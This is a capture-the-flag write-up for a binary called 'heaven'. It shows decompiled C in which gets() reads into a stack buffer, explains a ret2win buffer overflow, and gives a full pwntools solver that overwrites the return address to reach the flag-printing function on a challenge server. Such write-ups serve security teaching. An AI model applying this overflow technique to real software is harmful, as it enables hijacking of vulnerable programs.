We were given a binary.

int heavens_secret()
{
  char v1; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  do
  {
    v1 = fgetc(stream);
    putchar(v1);
  }
  while ( v1 != -1 );
  return fclose(stream);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr[524]; // [rsp+0h] [rbp-210h] BYREF
  int v5; // [rsp+20Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("Welcome to heaven!");
  puts("what would you like to do here:");
  printf(" 1. rest\n 2. have fun\n 3. relive a memory\n 4. get the flag\n>>");
  gets(nptr);
  v5 = atoi(nptr);
  if ( nptr[0] == 52 )
    return puts("what is this option?");
  if ( nptr[0] <= 52 )
  {
    if ( nptr[0] == 51 )
      return puts("wether it's a good one or a hurtful one we all want to relive a memory, so here you go.");
    if ( nptr[0] <= 51 )
    {
      if ( nptr[0] == 49 )
        return puts("you chose wisely, after all you have been through u deserve to rest");
      if ( nptr[0] == 50 )
        return puts("nice choice!!!. who doesnt want to have fun in their life ;)");
    }
  }
  return puts("dude how did you even get here!?");
}

The program ask the user for input a data using the gets() function which doesn’t perform a boundary check, so it will cause a vulnerability called Buffer Overflow. Since there’s a function to read and print the content of the flag file (heavens_secret function), we can perform ROP to do ret2win (return to the heavens_secret function).

Solver:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/heaven"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "52.59.124.14", 10050
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][0]
            cmd = choosen_gdb + """
            
            """
            gdb.attach(io, gdbscript=cmd)
    
    p = b""
    p += b"A"*(0x210) # sub rbp, 0x210
    p += p64(0xdeadbeef) # rbp
    p += p64(elf.symbols["heavens_secret"]) # rip

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("___")
    exploit(io, libc)
    ```